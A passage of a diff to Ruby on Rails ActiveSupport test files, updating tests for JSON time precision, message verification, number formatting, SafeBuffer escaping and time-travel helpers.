StandardDateTests = [[ Date.new(2005,2,1), %("2005-02-01") ]]
- StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
- StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
+ StandardTimeTests = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]]
+ StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]]
StandardStringTests = [[ 'this is the <string>', %("this is the <string>")]]
def sorted_json(json)
@@ -96,6 +127,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
end
+ def test_process_status
+ # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
+ # creating a child process, hence this to populate $?
+ system("not_a_real_program_#{SecureRandom.hex}")
+ assert_equal %({"exitstatus":#{$?.exitstatus},"pid":#{$?.pid}}), ActiveSupport::JSON.encode($?)
+ end
+
def test_hash_encoding
assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(:a => :b)
assert_equal %({\"a\":1}), ActiveSupport::JSON.encode('a' => 1)
@@ -135,22 +173,44 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal "𐒑", decoded_hash['string']
end
+ def test_reading_encode_big_decimal_as_string_option
+ assert_deprecated do
+ assert ActiveSupport.encode_big_decimal_as_string
+ end
+ end
+
+ def test_setting_deprecated_encode_big_decimal_as_string_option
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = true
+ end
+
+ assert_raise(NotImplementedError) do
+ ActiveSupport.encode_big_decimal_as_string = false
+ end
+ end
+
def test_exception_raised_when_encoding_circular_reference_in_array
a = [1]
a << a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_exception_raised_when_encoding_circular_reference_in_hash
a = { :name => 'foo' }
a[:next] = a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_exception_raised_when_encoding_circular_reference_in_hash_inside_array
a = { :name => 'foo', :sub => [] }
a[:sub] << a
- assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ assert_deprecated do
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
end
def test_hash_key_identifiers_are_always_quoted
@@ -167,21 +227,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
def test_time_to_json_includes_local_offset
- prev = ActiveSupport.use_standard_json_time_format
- ActiveSupport.use_standard_json_time_format = true
- with_env_tz 'US/Eastern' do
- assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+ with_standard_json_time_format(true) do
+ with_env_tz 'US/Eastern' do
+ assert_equal %("2005-02-01T15:15:10.000-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+ end
end
- ensure
- ActiveSupport.use_standard_json_time_format = prev
end
def test_hash_with_time_to_json
- prev = ActiveSupport.use_standard_json_time_format
- ActiveSupport.use_standard_json_time_format = false
- assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
- ensure
- ActiveSupport.use_standard_json_time_format = prev
+ with_standard_json_time_format(false) do
+ assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+ end
end
def test_nested_hash_with_float
@@ -196,6 +252,31 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
end
+ def test_hash_like_with_options
+ h = Hashlike.new
+ json = h.to_json :only => [:foo]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
+ def test_object_to_json_with_options
+ obj = Object.new
+ obj.instance_variable_set :@foo, "hello"
+ obj.instance_variable_set :@bar, "world"
+ json = obj.to_json :only => ["foo"]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
+ def test_struct_to_json_with_options
+ struct = Struct.new(:foo, :bar).new
+ struct.foo = "hello"
+ struct.bar = "world"
+ json = struct.to_json :only => [:foo]
+
+ assert_equal({"foo"=>"hello"}, JSON.parse(json))
+ end
+
def test_hash_should_pass_encoding_options_to_children_in_as_json
person = {
:name => 'John',
@@ -246,12 +327,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
end
- def test_enumerable_should_pass_encoding_options_to_children_in_as_json
- people = [
- { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
- { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ People = Class.new(BasicObject) do
+ include Enumerable
+ def initialize()
+ @people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ end
+ def each(*, &blk)
+ @people.each do |p|
+ yield p if blk
+ p
+ end.each
+ end
+ end
+
+ def test_enumerable_should_generate_json_with_as_json
+ json = People.new.as_json :only => [:address, :city]
+ expected = [
+ { 'address' => { 'city' => 'London' }},
+ { 'address' => { 'city' => 'Paris' }}
]
- json = people.each.as_json :only => [:address, :city]
+
+ assert_equal(expected, json)
+ end
+
+ def test_enumerable_should_generate_json_with_to_json
+ json = People.new.to_json :only => [:address, :city]
+ assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+ end
+
+ def test_enumerable_should_pass_encoding_options_to_children_in_as_json
+ json = People.new.each.as_json :only => [:address, :city]
expected = [
{ 'address' => { 'city' => 'London' }},
{ 'address' => { 'city' => 'Paris' }}
@@ -261,23 +369,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
end
def test_enumerable_should_pass_encoding_options_to_children_in_to_json
- people = [
- { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
- { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
- ]
- json = people.each.to_json :only => [:address, :city]
+ json = People.new.each.to_json :only => [:address, :city]
assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
end
- def test_to_json_should_not_keep_options_around
+ def test_hash_to_json_should_not_keep_options_around
f = CustomWithOptions.new
f.foo = "hello"
f.bar = "world"
hash = {"foo" => f, "other_hash" => {"foo" => "other_foo", "test" => "other_test"}}
assert_equal({"foo"=>{"foo"=>"hello","bar"=>"world"},
- "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, JSON.parse(hash.to_json))
+ "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, ActiveSupport::JSON.decode(hash.to_json))
+ end
+
+ def test_array_to_json_should_not_keep_options_around
+ f = CustomWithOptions.new
+ f.foo = "hello"
+ f.bar = "world"
+
+ array = [f, {"foo" => "other_foo", "test" => "other_test"}]
+ assert_equal([{"foo"=>"hello","bar"=>"world"},
+ {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json))
+ end
+
+ def test_hash_as_json_without_options
+ json = { foo: OptionsTest.new }.as_json
+ assert_equal({"foo" => :default}, json)
+ end
+
+ def test_array_as_json_without_options
+ json = [ OptionsTest.new ].as_json
+ assert_equal([:default], json)
end
def test_struct_encoding
@@ -302,24 +426,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal({"name" => "David",
"sub" => {
"name" => "David",
- "date" => "2010-01-01" }}, JSON.parse(json_custom))
+ "date" => "2010-01-01" }}, ActiveSupport::JSON.decode(json_custom))
assert_equal({"name" => "David", "email" => "sample@example.com"},
- JSON.parse(json_strings))
+ ActiveSupport::JSON.decode(json_strings))
assert_equal({"name" => "David", "date" => "2010-01-01"},
- JSON.parse(json_string_and_date))
- end
-
- def test_opt_out_big_decimal_string_serialization
- big_decimal = BigDecimal('2.5')
-
- begin
- ActiveSupport.encode_big_decimal_as_string = false
- assert_equal big_decimal.to_s, big_decimal.to_json
- ensure
- ActiveSupport.encode_big_decimal_as_string = true
- end
+ ActiveSupport::JSON.decode(json_string_and_date))
end
def test_nil_true_and_false_represented_as_themselves
@@ -328,6 +441,89 @@ class TestJSONEncoding < ActiveSupport::TestCase
assert_equal false, false.as_json
end
+ def test_json_gem_dump_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal %({"foo":"hello","bar":"world"}), JSON.dump(h)
+ assert_nil h.as_json_called
+ end
+
+ def test_json_gem_generate_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal %({"foo":"hello","bar":"world"}), JSON.generate(h)
+ assert_nil h.as_json_called
+ end
+
+ def test_json_gem_pretty_generate_by_passing_active_support_encoder
+ h = HashWithAsJson.new
+ h[:foo] = "hello"
+ h[:bar] = "world"
+
+ assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)
+{
+ "foo": "hello",
+ "bar": "world"
+}
+EXPECTED
+ assert_nil h.as_json_called
+ end
+
+ def test_twz_to_json_with_use_standard_json_time_format_config_set_to_false
+ with_standard_json_time_format(false) do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(time)
+ end
+ end
+
+ def test_twz_to_json_with_use_standard_json_time_format_config_set_to_true
+ with_standard_json_time_format(true) do
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999-12-31T19:00:00.000-05:00\"", ActiveSupport::JSON.encode(time)
+ end
+ end
+
+ def test_twz_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ ActiveSupport::JSON::Encoding.time_precision = 0
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+ assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(time)
+ end
+ ensure
+ ActiveSupport::JSON::Encoding.time_precision = 3
+ end
+
+ def test_time_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ ActiveSupport::JSON::Encoding.time_precision = 0
+ assert_equal "\"2000-01-01T00:00:00Z\"", ActiveSupport::JSON.encode(Time.utc(2000))
+ end
+ ensure
+ ActiveSupport::JSON::Encoding.time_precision = 3
+ end
+
+ def test_datetime_to_json_with_custom_time_precision
+ with_standard_json_time_format(true) do
+ ActiveSupport::JSON::Encoding.time_precision = 0
+ assert_equal "\"2000-01-01T00:00:00+00:00\"", ActiveSupport::JSON.encode(DateTime.new(2000))
+ end
+ ensure
+ ActiveSupport::JSON::Encoding.time_precision = 3
+ end
+
+ def test_twz_to_json_when_wrapping_a_date_time
+ zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ time = ActiveSupport::TimeWithZone.new(DateTime.new(2000), zone)
+ assert_equal '"1999-12-31T19:00:00.000-05:00"', ActiveSupport::JSON.encode(time)
+ end
+
protected
def object_keys(json_object)
@@ -340,4 +536,11 @@ class TestJSONEncoding < ActiveSupport::TestCase
ensure
old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
end
+
+ def with_standard_json_time_format(boolean = true)
+ old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, boolean
+ yield
+ ensure
+ ActiveSupport.use_standard_json_time_format = old
+ end
end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index 509c453b5c..b6c0a08b05 100644
--- a/activesupport/test/message_encryptor_test.rb
+++ b/activesupport/test/message_encryptor_test.rb
@@ -60,12 +60,23 @@ class MessageEncryptorTest < ActiveSupport::TestCase
ActiveSupport.use_standard_json_time_format = true
encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), SecureRandom.hex(64), :serializer => JSONSerializer.new)
message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
- exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
assert_equal exp, encryptor.decrypt_and_verify(message)
ensure
ActiveSupport.use_standard_json_time_format = prev
end
+ def test_message_obeys_strict_encoding
+ bad_encoding_characters = "\n!@#"
+ message, iv = @encryptor.encrypt_and_sign("This is a very \n\nhumble string"+bad_encoding_characters)
+
+ assert_not_decrypted("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+ assert_not_verified("#{::Base64.encode64 message.to_s}--#{::Base64.encode64 iv.to_s}")
+
+ assert_not_decrypted([iv, message] * bad_encoding_characters)
+ assert_not_verified([iv, message] * bad_encoding_characters)
+ end
+
private
def assert_not_decrypted(value)
@@ -81,7 +92,7 @@ class MessageEncryptorTest < ActiveSupport::TestCase
end
def munge(base64_string)
- bits = ::Base64.decode64(base64_string)
+ bits = ::Base64.strict_decode64(base64_string)
bits.reverse!
::Base64.strict_encode64(bits)
end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
index a8633f7299..a5748d28ba 100644
--- a/activesupport/test/message_verifier_test.rb
+++ b/activesupport/test/message_verifier_test.rb
@@ -11,7 +11,7 @@ require 'active_support/time'
require 'active_support/json'
class MessageVerifierTest < ActiveSupport::TestCase
-
+
class JSONSerializer
def dump(value)
ActiveSupport::JSON.encode(value)
@@ -21,7 +21,7 @@ class MessageVerifierTest < ActiveSupport::TestCase
ActiveSupport::JSON.decode(value)
end
end
-
+
def setup
@verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
@data = { :some => "data", :now => Time.local(2010) }
@@ -43,18 +43,32 @@ class MessageVerifierTest < ActiveSupport::TestCase
assert_not_verified("#{data}--#{hash.reverse}")
assert_not_verified("purejunk")
end
-
+
def test_alternative_serialization_method
prev = ActiveSupport.use_standard_json_time_format
ActiveSupport.use_standard_json_time_format = true
verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
- exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ exp = { "foo" => 123, "bar" => "2010-01-01T00:00:00.000Z" }
assert_equal exp, verifier.verify(message)
ensure
ActiveSupport.use_standard_json_time_format = prev
end
-
+
+ def test_raise_error_when_argument_class_is_not_loaded
+ # To generate the valid message below:
+ #
+ # AutoloadClass = Struct.new(:foo)
+ # valid_message = @verifier.generate(foo: AutoloadClass.new('foo'))
+ #
+ valid_message = "BAh7BjoIZm9vbzonTWVzc2FnZVZlcmlmaWVyVGVzdDo6QXV0b2xvYWRDbGFzcwY6CUBmb29JIghmb28GOgZFVA==--f3ef39a5241c365083770566dc7a9eb5d6ace914"
+ exception = assert_raise(ArgumentError, NameError) do
+ @verifier.verify(valid_message)
+ end
+ assert_includes ["uninitialized constant MessageVerifierTest::AutoloadClass",
+ "undefined class/module MessageVerifierTest::AutoloadClass"], exception.message
+ end
+
def assert_not_verified(message)
assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
@verifier.verify(message)
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
index 2bf73291a2..659fceb852 100644
--- a/activesupport/test/multibyte_chars_test.rb
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -221,9 +221,9 @@ class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
end
def test_include_raises_when_nil_is_passed
- @chars.include?(nil)
- flunk "Expected chars.include?(nil) to raise TypeError or NoMethodError"
- rescue Exception
+ assert_raises TypeError, NoMethodError, "Expected chars.include?(nil) to raise TypeError or NoMethodError" do
+ @chars.include?(nil)
+ end
end
def test_index_should_return_character_offset
diff --git a/activesupport/test/multibyte_conformance.rb b/activesupport/test/multibyte_conformance_test.rb
index 2baf724da4..6ab8fa28ee 100644
--- a/activesupport/test/multibyte_conformance.rb
+++ b/activesupport/test/multibyte_conformance_test.rb
@@ -20,8 +20,8 @@ class Downloader
target.write l
end
end
- end
- end
+ end
+ end
end
end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
index 1fadef3637..9bdb92024e 100644
--- a/activesupport/test/number_helper_test.rb
+++ b/activesupport/test/number_helper_test.rb
@@ -79,6 +79,9 @@ module ActiveSupport
assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
assert_equal("1000.000 %", number_helper.number_to_percentage(1000, :format => "%n %"))
+ assert_equal("98a%", number_helper.number_to_percentage("98a"))
+ assert_equal("NaN%", number_helper.number_to_percentage(Float::NAN))
+ assert_equal("Inf%", number_helper.number_to_percentage(Float::INFINITY))
end
end
@@ -102,7 +105,6 @@ module ActiveSupport
assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
- assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
end
end
@@ -124,6 +126,12 @@ module ActiveSupport
assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(111.2346, :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(Rational(1112346, 10000), :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded('111.2346', :precision => 20))
+ assert_equal("111.23460000000000000000", number_helper.number_to_rounded(BigDecimal(111.2346, Float::DIG), :precision => 20))
+ assert_equal("111.2346" + "0"*96, number_helper.number_to_rounded('111.2346', :precision => 100))
end
end
@@ -156,6 +164,14 @@ module ActiveSupport
assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(9775.0, :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(Rational(9775, 1), :precision => 20, :significant => true )
+ assert_equal "97.750000000000000000", number_helper.number_to_rounded(Rational(9775, 100), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded(BigDecimal(9775), :precision => 20, :significant => true )
+ assert_equal "9775.0000000000000000", number_helper.number_to_rounded("9775", :precision => 20, :significant => true )
+ assert_equal "9775." + "0"*96, number_helper.number_to_rounded("9775", :precision => 100, :significant => true )
end
end
@@ -370,12 +386,6 @@ module ActiveSupport
end
end
- def test_extending_or_including_number_helper_correctly_hides_private_methods
- [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
- assert !number_helper.respond_to?(:valid_float?)
- assert number_helper.respond_to?(:valid_float?, true)
- end
- end
end
end
end
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index c3fe89de4b..460a61613e 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
require 'active_support/json'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/array/extract_options'
@@ -120,7 +120,9 @@ class OrderedHashTest < ActiveSupport::TestCase
end
def test_select
- assert_equal @keys, @ordered_hash.select { true }.map(&:first)
+ new_ordered_hash = @ordered_hash.select { true }
+ assert_equal @keys, new_ordered_hash.map(&:first)
+ assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
end
def test_delete_if
@@ -143,6 +145,7 @@ class OrderedHashTest < ActiveSupport::TestCase
assert_equal copy, @ordered_hash
assert !new_ordered_hash.keys.include?('pink')
assert @ordered_hash.keys.include?('pink')
+ assert_instance_of ActiveSupport::OrderedHash, new_ordered_hash
end
def test_clear
diff --git a/activesupport/test/safe_buffer_test.rb b/activesupport/test/safe_buffer_test.rb
index 047b89be2a..efa9d5e61f 100644
--- a/activesupport/test/safe_buffer_test.rb
+++ b/activesupport/test/safe_buffer_test.rb
@@ -140,4 +140,29 @@ class SafeBufferTest < ActiveSupport::TestCase
# should still be unsafe
assert !y.html_safe?, "should not be safe"
end
+
+ test 'Should work with interpolation (array argument)' do
+ x = 'foo %s bar'.html_safe % ['qux']
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should work with interpolation (hash argument)' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert_equal 'foo qux bar', x
+ end
+
+ test 'Should escape unsafe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>' }
+ assert_equal 'foo &lt;br/&gt; bar', x
+ end
+
+ test 'Should not escape safe interpolated args' do
+ x = 'foo %{x} bar'.html_safe % { x: '<br/>'.html_safe }
+ assert_equal 'foo <br/> bar', x
+ end
+
+ test 'Should interpolate to a safe string' do
+ x = 'foo %{x} bar'.html_safe % { x: 'qux' }
+ assert x.html_safe?, 'should be safe'
+ end
end
diff --git a/activesupport/test/subscriber_test.rb b/activesupport/test/subscriber_test.rb
new file mode 100644
index 0000000000..253411aa3d
--- /dev/null
+++ b/activesupport/test/subscriber_test.rb
@@ -0,0 +1,40 @@
+require 'abstract_unit'
+require 'active_support/subscriber'
+
+class TestSubscriber < ActiveSupport::Subscriber
+ attach_to :doodle
+
+ cattr_reader :event
+
+ def self.clear
+ @@event = nil
+ end
+
+ def open_party(event)
+ @@event = event
+ end
+
+ private
+
+ def private_party(event)
+ @@event = event
+ end
+end
+
+class SubscriberTest < ActiveSupport::TestCase
+ def setup
+ TestSubscriber.clear
+ end
+
+ def test_attaches_subscribers
+ ActiveSupport::Notifications.instrument("open_party.doodle")
+
+ assert_equal "open_party.doodle", TestSubscriber.event.name
+ end
+
+ def test_does_not_attach_private_methods
+ ActiveSupport::Notifications.instrument("private_party.doodle")
+
+ assert_nil TestSubscriber.event
+ end
+end
diff --git a/activesupport/test/test_test.rb b/activesupport/test/test_test.rb
index 68f9ec6c00..0fa08c0e3a 100644
--- a/activesupport/test/test_test.rb
+++ b/activesupport/test/test_test.rb
@@ -1,4 +1,6 @@
require 'abstract_unit'
+require 'active_support/core_ext/date'
+require 'active_support/core_ext/numeric/time'
class AssertDifferenceTest < ActiveSupport::TestCase
def setup
@@ -19,10 +21,10 @@ class AssertDifferenceTest < ActiveSupport::TestCase
assert_equal true, assert_not(nil)
assert_equal true, assert_not(false)
- e = assert_raises(MiniTest::Assertion) { assert_not true }
+ e = assert_raises(Minitest::Assertion) { assert_not true }
assert_equal 'Expected true to be nil or false', e.message
- e = assert_raises(MiniTest::Assertion) { assert_not true, 'custom' }
+ e = assert_raises(Minitest::Assertion) { assert_not true, 'custom' }
assert_equal 'custom', e.message
end
@@ -71,7 +73,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
def test_array_of_expressions_identify_failure
- assert_raises(MiniTest::Assertion) do
+ assert_raises(Minitest::Assertion) do
assert_difference ['@object.num', '1 + 1'] do
@object.increment
end
@@ -79,7 +81,7 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
def test_array_of_expressions_identify_failure_when_message_provided
- assert_raises(MiniTest::Assertion) do
+ assert_raises(Minitest::Assertion) do
assert_difference ['@object.num', '1 + 1'], 1, 'something went wrong' do
@object.increment
end
@@ -87,54 +89,6 @@ class AssertDifferenceTest < ActiveSupport::TestCase
end
end
-class AssertBlankTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
- NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
- def test_assert_blank_true
- BLANK.each { |value|
- assert_deprecated { assert_blank value }
- }
- end
-
- def test_assert_blank_false
- NOT_BLANK.each { |v|
- assert_deprecated {
- begin
- assert_blank v
- fail 'should not get to here'
- rescue Exception => e
- assert_match(/is not blank/, e.message)
- end
- }
- }
- end
-end
-
-class AssertPresentTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", [], {} ]
- NOT_BLANK = [ EmptyFalse.new, Object.new, true, 0, 1, 'x', [nil], { nil => 0 } ]
-
- def test_assert_present_true
- NOT_BLANK.each { |v|
- assert_deprecated { assert_present v }
- }
- end
-
- def test_assert_present_false
- BLANK.each { |v|
- assert_deprecated {
- begin
- assert_present v
- fail 'should not get to here'
- rescue Exception => e
- assert_match(/is blank/, e.message)
- end
- }
- }
- end
-end
-
class AlsoDoingNothingTest < ActiveSupport::TestCase
end
@@ -170,7 +124,6 @@ class SetupAndTeardownTest < ActiveSupport::TestCase
end
end
-
class SubclassSetupAndTeardownTest < SetupAndTeardownTest
setup :bar
teardown :bar
@@ -191,7 +144,6 @@ class SubclassSetupAndTeardownTest < SetupAndTeardownTest
end
end
-
class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
def before_setup
require 'stringio'
@@ -204,3 +156,65 @@ class TestCaseTaggedLoggingTest < ActiveSupport::TestCase
assert_match "#{self.class}: #{name}\n", @out.string
end
end
+
+class TimeHelperTest < ActiveSupport::TestCase
+ setup do
+ Time.stubs now: Time.now
+ end
+
+ teardown do
+ travel_back
+ end
+
+ def test_time_helper_travel
+ expected_time = Time.now + 1.day
+ travel 1.day
+
+ assert_equal expected_time, Time.now
+ assert_equal expected_time.to_date, Date.today
+ end
+
+ def test_time_helper_travel_with_block
+ expected_time = Time.now + 1.day
+
+ travel 1.day do
+ assert_equal expected_time, Time.now
+ assert_equal expected_time.to_date, Date.today
+ end
+
+ assert_not_equal expected_time, Time.now
+ assert_not_equal expected_time.to_date, Date.today
+ end
+
+ def test_time_helper_travel_to
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+ travel_to expected_time
+
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ def test_time_helper_travel_to_with_block
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+ travel_to expected_time do
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ assert_not_equal expected_time, Time.now
+ assert_not_equal Date.new(2004, 11, 24), Date.today
+ end
+
+ def test_time_helper_travel_back
+ expected_time = Time.new(2004, 11, 24, 01, 04, 44)
+
+ travel_to expected_time
+ assert_equal expected_time, Time.now
+ assert_equal Date.new(2004, 11, 24), Date.today
+ travel_back
+
+ assert_not_equal expected_time, Time.now
+ assert_not_equal Date.new(2004, 11, 24), Date.today
+ end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index aca2951450..71a9561189 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -6,7 +6,6 @@ class Bar < Foo
def index; end
def self.index; end
end
-class Baz < Bar; end
module FooBar; end
class ConstantLookupTest < ActiveSupport::TestCase
diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb
index 84c3154e53..79ec57af2b 100644
--- a/activesupport/test/time_zone_test.rb
+++ b/activesupport/test/time_zone_test.rb
@@ -89,14 +89,65 @@ class TimeZoneTest < ActiveSupport::TestCase
end
def test_today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 4, 59, 59)) # 1 sec before midnight Jan 2 EST
assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
- Time.stubs(:now).returns(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
+ travel_to(Time.utc(2000, 1, 2, 5)) # midnight Jan 2 EST
assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].today
+ travel_back
+ end
+
+ def test_tomorrow
+ travel_to(Time.utc(2000, 1, 1, 4, 59, 59)) # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeZone['Eastern Time (US & Canada)'].tomorrow
+ travel_to(Time.utc(2000, 1, 1, 5)) # midnight Jan 1 EST
